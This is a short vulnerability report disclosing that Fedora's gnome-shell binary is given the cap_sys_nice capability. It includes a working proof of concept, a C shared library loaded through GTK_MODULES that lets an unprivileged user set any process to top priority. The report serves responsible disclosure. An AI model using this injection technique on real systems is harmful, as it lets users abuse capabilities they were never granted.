fedora: gnome not using fscaps safely I happened to notice a minor issue while working a tool I'm writing, I'm not sure if gnome or the fedora package is to blame, but it seems gnome-shell is now given cap_sys_nice: $ rpm -qf /bin/gnome-shell gnome-shell-3.38.4-1.fc33.x86_64 $ getcap /bin/gnome-shell /bin/gnome-shell cap_sys_nice=ep This seems incorrect. Here is a demo, I'm just a regular user, and this pid has a priority of 0: $ ps -heo nice -q 495980 0 I don't have permission to raise that: $ renice -n -20 495980 renice: failed to set priority for 495980 (process ID): Permission denied But it doesn't matter, I can just make gnome do it: $ cat prio.c #include <unistd.h> #include <sys/time.h> #include <sys/resource.h> void __attribute__((constructor)) init() { setpriority(PRIO_PROCESS, 495980, -20); _exit(0); } $ gcc -fPIC -shared -o prio.so prio.c $ env GTK_MODULES=/proc/self/cwd/prio.so /bin/gnome-shell --list-modes And if I look at the priority now... $ ps -heo nice -q 495980 -20 This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is YYYY-MM-DD. Disclosure at an earlier date is possible if agreed upon by all parties. Found by: taviso@google.com